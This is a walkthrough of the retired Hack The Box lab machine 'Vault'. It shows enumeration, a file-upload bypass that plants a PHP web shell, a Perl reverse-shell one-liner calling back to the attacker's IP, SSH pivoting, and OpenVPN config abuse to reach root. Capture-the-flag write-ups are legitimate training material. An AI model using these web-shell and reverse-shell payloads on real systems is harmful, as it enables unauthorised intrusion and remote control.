This post documents the complete walkthrough of Vault, a retired vulnerable VM created by nol0gz, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Vault is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt 10.10.10.109
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
nmap
finds 22/tcp
and 80/tcp
open. Nothing extraordinary. This is how the site looks like.
Directory/File Enumeration
Let’s go ahead and make a guess that everything related to Sparklays is behind the directory /sparklays
. We’ll use wfuzz
coupled with SecLists’s quickhits.txt
and see what we can find.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc '403,404' http://10.10.10.109/sparklays/FUZZ
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.109/sparklays/FUZZ
Total requests: 2371
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000506: C=200 13 L 38 W 615 Ch "/admin.php"
001505: C=200 3 L 2 W 16 Ch "/login.php"
Total time: 48.81987
Processed Requests: 2371
Filtered Requests: 2369
Requests/sec.: 48.56628
Not too shabby. Now, let’s change to another wordlist and see if we can discover other directories.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' http://10.10.10.109/sparklays/FUZZ
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.109/sparklays/FUZZ
Total requests: 4593
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000442: C=200 13 L 38 W 615 Ch "admin.php"
001339: C=301 9 L 28 W 323 Ch "design"
Total time: 93.51900
Processed Requests: 4593
Filtered Requests: 4591
Requests/sec.: 49.11301
Let’s go deeper with wfuzz
’s own wordlists.
# wfuzz -w common.txt -w extensions_comment.xt --hc 404 http://10.10.10.109/sparklays/design/FUZZ
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.109/sparklays/design/FUZZFUZ2Z
Total requests: 26600
==================================================================
ID Response Lines Word Chars Payload
==================================================================
007571: C=200 3 L 8 W 72 Ch "design - .html"
024304: C=403 11 L 32 W 312 Ch "uploads - /"
Total time: 115.6137
Processed Requests: 26600
Filtered Requests: 26598
Requests/sec.: 230.0764
Awesome. wfuzz
finds another page. This is how it looks like.
The new page exposes a new attack surface at /changelogo.php
as well.
File Upload Bypass
What we are seeing here is a classic file upload attack, specifically by discovering the whitelisted file extensions. To that end, I wrote a bash
script with curl
as the main driver and by supplying the script with a wordlist containing a large number of file extensions, I can determine which extensions are whitelisted.
The wordlist is derived from /etc/mime.types
like so.
awk '{ $1 = ""; print $0 }' /etc/mime.types | sed -r -e 's/^ //g' -e '1,26d' -e '/^$/d' | tr ' ' '\n' > extensions.txt
The script is shown below.
#!/bin/bash
EXT=$1
HOST=10.10.10.109
URL=http://$HOST/sparklays/design/changelogo.php
UPLOADS=http://$HOST/sparklays/design/uploads
curl -s \
-F "[email protected];filename=info.${EXT}" \
-F "submit=upload+file" \
$URL \
| sed '1!d' \
| cut -d '<' -f1 \
| grep success &>/dev/null && echo "[+] Uploaded: $UPLOADS/info.${EXT}"
The script takes in a file extension as argument. I’m using GNU Parallel to speed things up like so.
You can see that these are the whitelisted file extensions and only .php5
is executable. The file info
contains the following PHP code:
<?php phpinfo(); ?>
With that in mind, we can craft another file with the following PHP code and save it as cmd.php5
. After uploading, the file will allow us to execute remote commands.
<?php echo shell_exec($_GET[0]); ?>
Perfect.
Low-Privilege Shell
We can now execute a reverse shell. I always go for a Perl reverse shell simply because it’s more likely to be available than any other interpreted languages such as Python.
perl -e 'use Socket;$i="10.10.14.109";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
It’s best to urlencode the code to prevent complications because we are entering it on the browser’s address bar.
Awesome. We have shell. Let’s go through the usual process to upgrade the shell to full TTY.
During enumeration of www-data
’s account, I found the password (Dav3therav3123
) to dave
’s SSH account and other pertinent information at /home/dave/Desktop
.
Voila. Another shell this time as dave
.
Notice that the host has many virtual network interfaces. One of them is a virtual bridge that links to 192.168.122.0/24
.
DNS + Configurator
Let’s use the following command to scan the ports of 192.168.122.4
to see what we are up against.
$ for p in $(seq 1 10000); do (nc -w1 -nvz 192.168.122.4 $p 2>&1 | grep succeed); done
Connection to 192.168.122.4 22 port [tcp/*] succeeded!
Connection to 192.168.122.4 80 port [tcp/*] succeeded!
Let’s do a dynamic port-forwarding with SSH. It opens up a SOCKS proxy on my attacking machine which I can then use to link up to 192.168.122.0/24
.
ssh -D9999 [email protected] -f -N 2>/dev/null
The proxy on the browser is set up to point to socks5://127.0.0.1:9999
.
Directory/Files Redux
Now that we have a new enumeration point, let’s do what we always do: wfuzz
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' -t 20 -p 127.0.0.1:9999:SOCKS5 http://192.168.122.4/FUZZ
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://192.168.122.4/FUZZ
Total requests: 4593
==================================================================
ID Response Lines Word Chars Payload
==================================================================
002095: C=200 6 L 25 W 195 Ch "index.php"
002743: C=200 1 L 6 W 36 Ch "notes"
Total time: 64.27585
Processed Requests: 4593
Filtered Requests: 4591
Requests/sec.: 71.45762
Notice I’m pointing wfuzz
to the SOCKS proxy set up earlier. What do we have here? notes
looks interesting.
It seems to be suggesting the presence of two files: 123.ovpn
and script.sh
.
Here’s what I think is happening here. Editing the text area in /vpnconfig.php
and hitting Update file writes to 123.ovpn
and hitting the link Test VPN executes script.sh
.
I know that OpenVPN client configuration file can execute shell commands but I need to find a OpenVPN server to connect to. An OpenVPN server listens on 1194/udp
by default.
Back in dave
’s shell, I run the following command to find a valid OpenVPN server.
Ha ha. It’s almost as if the creator anticipates mistakes to be made, that’s why he catered for so many servers. Now, let’s see if these OpenVPN commands will work.
Meanwhile, I have a nc
listener set at 192.168.122.1
on 2323/tcp
A root
shell to DNS!
During enumeration, I discovered dave
’s SSH password (dav3gerous567
) to DNS and he is able to sudo
as root
. That saves us from spawning a shell through OpenVPN every time and SSH provides a far more superior shell.
The file user.txt
is at dave
’s home directory.
I also discovered DNS has access to 192.168.5.0/24
through the firewall at 192.168.122.5
. Check out the routing table.
I’m betting the Vault is one of the hosts in the 192.168.5.0/24
subnet but which one? I went through the logs searching for hints the creator might have left and here’s what I found.
It’s clear the firewall only accepts inbound traffic with a source port of 4444/tcp
to the host 192.168.5.2
listening at 987/tcp
.
Let’s see what’s behind 987/tcp
with ncat
and the -p
option to indicate our source port.
I see. 987/tcp
is a wrapper for SSH.
SSH comes with a slew of options, particularly the ProxyCommand option allows ssh
to proxy traffic through a network utility tool like ncat
.
This is awesome, isn’t it?
I noticed a pattern of dave
’s having SSH accounts on all the hosts encountered thus far, so that’s what I’m going to try.
Sweet. The password is dav3gerous567
. However, dave
’s default shell is a restricted one. Fret not, we just have to re-login like so.
The file root.txt
is here but appears encrypted with GPG.
It doesn’t appear the file is encrypted on this host because the directory .gnupg
is not here. There’s a couple more hints to suggest the decryption is to be done elsewhere.
- Tools like
base64
,hexdump
andxxd
are not available onvault
. - Python 3 is hidden as
python3m
onvault
. - The passphrase
itscominghome
found onubuntu
suggested the firstdave
SSH account.
We can print a base64
-encoded string of the file root.txt.gpg
like so.
Copy the string to the first dave
shell and decrypt it like so.
The passphrase is indeed itscominghome
. And you get root.txt
after the decryption.